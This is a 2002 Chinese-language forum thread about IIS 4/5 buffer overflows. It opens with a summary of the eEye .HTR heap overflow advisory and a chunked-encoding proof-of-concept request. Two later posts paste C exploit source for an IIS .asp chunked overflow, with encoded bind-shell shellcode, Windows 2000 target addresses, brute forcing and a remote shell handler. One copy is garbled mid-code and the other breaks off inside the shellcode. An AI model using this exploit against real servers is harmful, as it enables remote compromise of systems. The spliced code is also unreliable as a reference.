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  IIS又出了缓冲区溢出漏洞
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作者 主题: IIS又出了缓冲区溢出漏洞 ( 页: 1 2 ) 回复 | 收藏 | 打印 | 篇末
★帅の蟑螂帅哥哦
级别:管理员
威望:0
经验:20
货币:4114
体力:100
来源:127.0.0.1
总发帖数:3059
注册日期:2001-04-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

Windows 2000 and NT4 IIS .HTR Remote Buffer Overflow (MS,缺陷)

涉及程序:
IIS4.0/5.0

描述:
Windows2000和NT4的IIS服务器.HTR映射存在新的缓冲区溢出漏洞

详细:
受影响的系统:
Microsoft Windows NT 4.0 Internet Information Services 4.0
Microsoft Windows 2000 Internet Information Services 5.0

在IIS服务器处理HTR请求过程中,存在一个缺陷,如果攻击者细致构造一个特殊的请求,可以执行目标主机上的任何指令。攻击者利用它构造的数据包可以覆盖heap上的一个片段地址(包含内存管理的数据结构),产生溢出,接下来的数据可以覆盖4个字节的指针,这个内存地址和内容可以是攻击者指定的,通过这样的非法溢出操作,可以控制程序以最高权限执行任意的攻击代码(shellcode)。

这是一个非常严重的安全漏洞,其后果超过今年4月被披露的htr ISAPI堆栈溢出错误(这个漏洞在IIS5.0上只有IWAM_computername用户的权限)。
这个漏洞的发现者eEye指出:或许有人认为这个漏洞要用到穷举方式尝试shellcode,是比较难以获得理想攻击效果,所以风险并不高。这种认识是片面的。黑客可以开发出一个有效的,一次到位的攻击代码。实际上,攻击者可以覆盖目标的静态全局变量、已存储函数指针、进程管理和内存管理结构,以及其它的任意数据类型,以获得对目标程序的控制。




解决方案:
建议彻底删除.HTR应用程序映射
补丁下载

攻击方法:
概念攻击脚本:(后果引起dllhost.exe子进程死掉):


**************Begin Session****************
POST /EEYE.htr HTTP/1.1
Host: 0day.big5.com
Transfer-Encoding: chunked

20
XXXXXXXXXXXXXXXXXXXXXXXXEEYE2002
0
[enter]
[enter]
**************End Session******************

想要尝试获得非法执行代码的效果,可以在被攻击的测试机器上运行调试程序以便求得合适的shellcode。

----------------------------------------------------------
为了明天奢侈糜烂的生活而奋斗

编辑 删除 发表时间发表于 2002-06-23.17:27:21   MSIE 6.0 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:18
货币:99999
体力:100
来源:不知道
总发帖数:2602
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵 大家想找代码吧??

/*
* DDK - 2k2 -
*
*
* coded by NeMeS||y tnx to Birdack
*
*
*/

// IIS 4(NT4) - IIS 5(2K) .asp bof

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET_BRUTE_START 0x00400000
#define RET_BRUTE_STOP 0x00500000

#define PORT_BIND 7788
#define VERSION "0.3b"

unsigned char wincode[] =
"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05"
"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff"
"\x21\x46\x30\x6b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30"
"\x9c\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41"
"\x6d\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e"
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"\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e"
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"\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55\xfb"
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"\x5e\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2"
"\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d"
"\x55\x55\xfb\x55\x30\x7f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x23\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5"
"\xf8\x6d\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa"
"\x27\x30\x7f\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa"
"\x21\x27\x30\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x30\x7f\xa6\x5d"
"\x55\x55\xf8\x55\x30\x7f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x21\x5e\x21\x30\x6f\xe2\x5d\x55\x55\xfa\x55\x30\x7f\x5a\x5d"
"\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27"
"\x27\x9a\x5d\x55\x55\xfb\x21\x30\x7f\x9a\x5d\x55\x55\xf8\x27\x30"
"\x6f\xaa\x52\x55\x55\xfa\x21\x27\xa6\x5d\x55\x55\xfb\x55\x30\x7f"
"\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\xd4\x54\x55\x55"
"\x43\x87\x57\x55\x55\x41\x54\xf2\xfa\x21\x17\x30\x42\x5d\x55\x55"
"\x23\xed\x58\x69\x21\xee\x8e\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee"
"\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\xb3\x53\x55\x55\xb4\xc6\xe6"
"\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb"
"\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5"
"\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6"
"\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa"
"\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3"
"\xc6\xcf\xaa\xdd\xd9\xc5\xc9\xc1\x99\x98\x84\xce\xc6\xc6\xaa\xd9"
"\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4\xce\xaa\xc6\xc3\xd9\xde\xcf"
"\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa\xd9\xcf\xc4\xce\xaa\xd8\xcf"
"\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9"
"\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc7\xce\x84\xcf"
"\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0\xaa";

struct{
int    def;
char    *descr;
unsigned int ret;
unsigned int rewrite;
int port;
char path[256];
}target[] = {
{0, " IIS5 Windows 2000 by hsj", 0x0045C560, 0x77eaf44c, 80, "/iisstart.asp"},
{1, " IIS5 Windows 2000 Chinese SP0 - SP1", 0x0045C560, 0x77ec044c, 80, "/iisstart.asp"},
{2, " IIS5 Windows 2000 Chinese SP2", 0x0045C560, 0x77ebf44c, 80, "/iisstart.asp"},
{3, " IIS5 Windows 2000 English SP2", 0x0045C560, 0x77edf44c, 80, "/iisstart.asp"},
{4, " IIS4 Windows NT4", 0, 0, 80, "/iisstart.asp"},
{666, NULL, 0, 0, 0, NULL}
};


int sel = 0;
int resolve (char *IP);
int make_connection(char *address,int port);
int opl].ret;
} else {
ret_start = RET_BRUTE_START;
ret_step = step;
ret_stop = RET_BRUTE_STOP;
}

printf("\n [+] Start\n\n host\t->\t%s\n port\t->\t%d\n path\t->\t%s\n type\t->\t%s\n\n\n",
host, target[sel].port, target[sel].path, target[sel].descr);

if(brute==1) printf("\n [+] Brute forcing enabled... do u have time?\n\n");

for(ret_1 = ret_start; ret_1 <= ret_stop; ret_1 += ret_step)
{
for(i=0;i<sizeof(buf)-strlen(wincode)-12-1;)
{
buf[i++] = 0xeb;
buf[i++] = 0x06;
}
*(unsigned int *)&buf[i] = 0x41414141;
*(unsigned int *)&buf[i+4] = 0x41414141;
*(unsigned int *)&buf[i+8] = 0x41414141;

memcpy(&buf[sizeof(buf)-strlen(wincode)-1],wincode,strlen(wincode));
buf[sizeof(buf)-1] = 0;
sprintf(buf2,"POST %s?%s HTTP/1.0\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Transfer-Encoding: chunked\r\n\r\n"
"10\r\nDDKDDKDDKDDKDD\r\n"
"4\r\nRETT\r\n"
"4\r\nREWR\r\n"
"0\r\n\r\n\r\n",
&target[sel].path,buf);

*(unsigned int *)strstr(buf2,"REWR") = &target[sel].rewrite;
*(unsigned int *)strstr(buf2,"RETT") = ret_1;
if(brute==0) printf(" # Sending buffer to socket : ");
write(sock,buf2,strlen(buf2));

fprintf(stderr, " [+] ret : 0x%08lx ->",ret_1);

sleep(3);
if(brute==0) printf("DONE!\n\n");
shutdown(sock,2);
close(sock);
printf(" # connecting to our shell - port : [ %d ]\n",PORT_BIND);
sock=open_back(host,PORT_BIND);
if(sock==-1 && brute==0)
{
printf("\n [-] FAILED ");
printf("exiting now!\n\n");
exit(-1);
}
if(sock!=-1)
{
printf("\n\n[+] Address guessed!! \n\n");
printf("...OH oH OH... done! our evilcode has worked baby at [ %d ]\n", ret_1);
l33thax0r(sock);
exit(0);
}
}

}


int resolve (char *IP)
{
struct hostent *info;
unsigned long ip;

if ((ip=inet_addr(IP))==-1)
{
if ((info=gethostbyname(IP))==0)
{
printf("Couldnt resolve [%s]\n", IP);
exit(0);
}
memcpy(&ip, (info->h_addr), 4);
}
return (ip);
}

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}



int open_back(char *host,int port)
{
int sock, err;
struct sockaddr_in server_addr;
struct hostent *he;
he=gethostbyname(host);
if (he == NULL) return -1;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
server_addr.sin_addr.s_addr = resolve(host);

sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1) return -1;
err = connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
if (err == -1) sock = -1;
return sock;
}


void l33thax0r(int sock)
{
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
i=read(sock,buf,1024);
if (i <= 0)
{
printf("Fuck... the connection was closed!\n");
printf("exiting...\n\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0)
{
buf[i]=0;
write(sock,buf,i);
}
}
}
}

void usage(char *name)
{
int j = 0;

printf("Usage: %s <-h hostname> <-t target> [-p port] [-f path file] [-b step]\n", name);
printf("\nOptions:\n"
" -h hostname (www.iisvictim.com)\n"
" -t target\n"
    " -p port (default 80)\n"
" -f path_file (default /iisstart.asp)\n"
" -b step (brute force, try step 2000)\n\n"
"Available targets:\n\n");
while(target[j].def != 666)
{
printf(" %d ] - %s -\n", target[j].def, target[j].descr);
j++;
}
printf("\n");
exit(1);
}



----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-06-24.01:12:02   MSIE 5.01 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:18
货币:99999
体力:100
来源:不知道
总发帖数:2602
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

/*
* DDK - 2k2 -
*
*
* coded by NeMeS||y tnx to Birdack
*
*
*/

// IIS 4(NT4) - IIS 5(2K) .asp bof

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET_BRUTE_START 0x00400000
#define RET_BRUTE_STOP 0x00500000

#define PORT_BIND 7788
#define VERSION "0.3b"

unsigned char wincode[] =
"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05"
"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff"
"\x21\x46\x30\x6b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30"
"\x9c\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41"
"\x6d\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e"
"\x5d\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x30\x65\x30\x6f"
"\x30\x42\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa"
"\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e"
"\x5d\x55\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29"
"\x42\xad\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55"
"\x55\xaa\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55"
"\x55\xaa\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55"
"\x30\x6b\x6b\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x30\x6b"
"\x17\x30\x4e\x5d\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30"
"\x4e\x5d\x55\x55\xaa\xaa\x5a\x15\x21\x30\x7f\x30\x4e\x5d\x55\x55"
"\x99\x6a\xcc\x21\xa8\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab"
"\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30"
"\x4e\x5d\x55\x55\x99\x63\xcc\x21\xa6\xba\x30\x6b\x53\xfa\xef\xaa"
"\xaa\xa5\x30\x6f\xd3\xab\xaa\xaa\x21\x30\x7f\x30\x4e\x5d\x55\x55"
"\x21\xe8\x96\x21\x27\x30\x4e\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x30"
"\x7f\x30\x4e\x5d\x55\x55\x23\x30\x7f\x30\x4a\x5d\x55\x55\x21\x30"
"\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6\xa9\x27\x30\x4e\x5d\x55\x55"
"\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x30\x6b\x90"
"\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa\x21\x30\x6f\x36\x5d"
"\x55\x55\x30\x6b\xd2\xae\xef\xe6\x99\x98\xa5\x30\x6f\x8a\xab\xaa"
"\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d\x55\x55\x21\x30"
"\x7f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55\x55\xa9\xe8"
"\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d\x55\x55\xaa"
"\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b\xab\x23\x27"
"\x32\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x29\x68\xae\x23\x30"
"\x7f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27\x32"
"\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x30\x7f\x36"
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\x96\xab"
"\xed\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x30\x7f\x36"
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\xd6\xab"
"\xae\xd8\xc5\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x30\x7f"
"\x32\x5d\x55\x55\xa9\x30\x7f\x32\x5d\x55\x55\xa9\x30\x7f\x30\x4e"
"\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a"
"\xcc\x21\xae\xa0\x23\x30\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d"
"\x55\x55\x21\xfb\xba\x21\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55"
"\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f"
"\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d"
"\x55\x55\xa9\x30\x7f\x30\x4e\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d"
"\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x30\x7f\x36\x5d\x55\x55\x21"
"\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d\x55\x55\x23\x30"
"\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55\x55\x43\xbc\x54"
"\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce\x30\x49\xaa\xaa"
"\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf\x43\xdf\xae\xaa"
"\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc\x23\x30\x7f\x86"
"\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a\xa8\x23\x30"
"\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa"
"\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23\x27\x36\x5d"
"\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x30\x7f\xaa\xaa\xaa"
"\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x30\x7f\x30\x42"
"\x5d\x55\x55\xf8\x55\x30\x7f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x30\x7f"
"\x30\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x30\x7f\x36"
"\x5d\x55\x55\x23\x30\x6e\x30\x7f\x1a\x5d\x55\x55\x41\xa5\x21\x30"
"\x6f\x30\x42\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55"
"\x55\x21\x27\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba"
"\x21\x30\x6f\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde"
"\xa8\x41\xa8\x41\x78\x21\x30\x7f\x30\x42\x5d\x55\x55\x29\x68\xab"
"\x23\x30\x7f\x30\x42\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0"
"\xac\xc0\xab\xc0\xa8\x55\x30\x7f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x23\x30\x6f\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d"
"\x55\x55\xa8\xaa\xcc\x21\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f"
"\x90\x5d\x55\x55\x6d\x30\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d"
"\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55"
"\xaa\xde\xf5\x21\x5e\xc0\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x30"
"\x7f\xe6\x5d\x55\x55\xf8\x55\x30\x7f\x72\x5d\x55\x55\x91\x5e\x3a"
"\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\xcc\x21\x30\x6f\x90"
"\x5d\x55\x55\xcc\xaf\xaa\xab\xcc\x23\x30\x6f\x90\x5d\x55\x55\x21"
"\x27\x90\x5d\x55\x55\x30\x6b\x4b\x55\x55\xaa\xaa\x30\x6b\x53\xaa"
"\xab\xaa\xaa\xd7\xb8\xcc\x21\x30\x7f\x90\x5d\x55\x55\xcc\x29\x68"
"\xab\xcc\x23\x30\x7f\x90\x5d\x55\x55\x41\x32\x21\x5e\xc0\xa0\x21"
"\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x30\x7f\x76\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63\xa5\x30\x6e"
"\x6c\xa8\xaa\xaa\x21\x5e\x27\x30\x7f\x9e\x5d\x55\x55\xf8\x27\x30"
"\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55\x30\x7f"
"\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2\x5d"
"\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30\x6f"
"\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55\xab"
"\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27"
"\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x30"
"\x7f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa"
"\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa"
"\x27\x27\xba\x5d\x55\x55\xfb\x55\x30\x7f\x12\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa"
"\xaa\xaa\x58\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa"
"\xcc\x6d\x30\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x30\x7f\xba\x5d\x55"
"\x55\x23\x30\x7f\x22\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23"
"\x30\x6f\x26\x5d\x55\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d"
"\x55\x55\x21\x5e\x27\x30\x7f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa"
"\x5d\x55\x55\xfa\xc0\xaa\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa"
"\x21\x27\x30\x42\x5d\x55\x55\xfb\xc0\xaa\x55\x30\x7f\x16\x5d\x55"
"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21"
"\x5e\xc0\xaa\xc0\xaa\x27\x30\x7f\x9a\x5d\x55\x55\xf8\xc2\xaa\xae"
"\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xb2\x5d\x55\x55"
"\xfb\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x30"
"\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5\x30\x6e\xdf\xab\xaa\xaa\x21"
"\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\xc2\xaa\xae"
"\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb\x21\x30\x7f\xb2\x5d\x55\x55"
"\xf8\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29"
"\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa\xaa\xaa\x21\x5e\xc0"
"\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x9a\x5d\x55\x55\xfb"
"\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2\x5d\x55\x55\xfa"
"\x55\x30\x7f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29\x17"
"\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27\x9a\x5d\x55"
"\x55\xfb\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2\x5d\x55"
"\x55\xfa\x55\x30\x7f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1"
"\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55\xfb"
"\x21\x30\x7f\xe2\x5d\x55\x55\xf8\x55\x30\x7f\x4e\x5d\x55\x55\x91"
"\x5e\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2"
"\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d"
"\x55\x55\xfb\x55\x30\x7f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x23\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5"
"\xf8\x6d\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa"
"\x27\x30\x7f\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa"
"\x21\x27\x30\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x30\x7f\xa6\x5d"
"\x55\x55\xf8\x55\x30\x7f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x21\x5e\x21\x30\x6f\xe2\x5d\x55\x55\xfa\x55\x30\x7f\x5a\x5d"
"\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27"
"\x27\x9a\x5d\x55\x55\xfb\x21\x30\x7f\x9a\x5d\x55\x55\xf8\x27\x30"
"\x6f\xaa\x52\x55\x55\xfa\x21\x27\xa6\x5d\x55\x55\xfb\x55\x30\x7f"
"\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\xd4\x54\x55\x55"
"\x43\x87\x57\x55\x55\x41\x54\xf2\xfa\x21\x17\x30\x42\x5d\x55\x55"
"\x23\xed\x58\x69\x21\xee\x8e\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee"
"\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\xb3\x53\x55\x55\xb4\xc6\xe6"
"\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb"
"\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5"
"\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6"
"\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa"
"\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3"
"\xc6\xcf\xaa\xdd\xd9\xc5\xc9\xc1\x99\x98\x84\xce\xc6\xc6\xaa\xd9"
"\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4\xce\xaa\xc6\xc3\xd9\xde\xcf"
"\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa\xd9\xcf\xc4\xce\xaa\xd8\xcf"
"\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9"
